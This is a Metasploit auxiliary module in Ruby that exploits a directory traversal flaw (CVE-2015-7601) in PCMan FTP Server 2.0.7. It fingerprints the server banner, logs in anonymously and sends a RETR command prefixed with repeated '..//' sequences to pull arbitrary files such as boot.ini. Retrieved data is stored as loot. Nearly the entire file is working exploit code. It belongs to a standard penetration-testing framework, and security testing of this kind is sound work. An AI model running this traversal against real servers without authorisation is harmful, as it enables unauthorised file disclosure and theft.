metasploit-framework/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure',
'Description' => %q{
This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.
This vulnerability allows an attacker to download arbitrary files from the server by crafting
a RETR command that includes file system traversal strings such as '..//'
},
'Platform' => 'win',
'Author' =>
[
'Jay Turla', # @shipcod3, msf and initial discovery
'James Fitts', # initial discovery
'Brad Wolfe <brad.wolfe[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '38340'],
[ 'CVE', '2015-7601']
],
'DisclosureDate' => 'Sep 28 2015'
))
register_options(
[
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
], self.class)
end
def check_host(ip)
begin
connect
if /220 PCMan's FTP Server 2\.0/i === banner
return Exploit::CheckCode::Appears
end
ensure
disconnect
end
Exploit::CheckCode::Safe
end
def run_host(target_host)
begin
# Login anonymously and open the socket that we'll use for data retrieval.
connect_login
sock = data_connect
file_path = datastore['PATH']
file = ::File.basename(file_path)
# make RETR request and store server response message...
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
res = send_cmd( ["RETR", retr_cmd])
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# read the file data from the socket that we opened
response_data = sock.read(1024)
unless response_data
print_error("#{file_path} not found")
return
end
if response_data.length == 0 or ! (res =~ /^150/ )
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print_status("File (#{file_path})from #{peer} is empty...")
return
end
# store file data to loot
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loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path)
vprint_status("Data returned:\n")
vprint_line(response_data)
print_good("Stored #{file_path} to #{loot_file}")
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
vprint_error(e.message)
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
rescue ::Timeout::Error, ::Errno::EPIPE => e
vprint_error(e.message)
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
ensure
data_disconnect
disconnect
end
end
end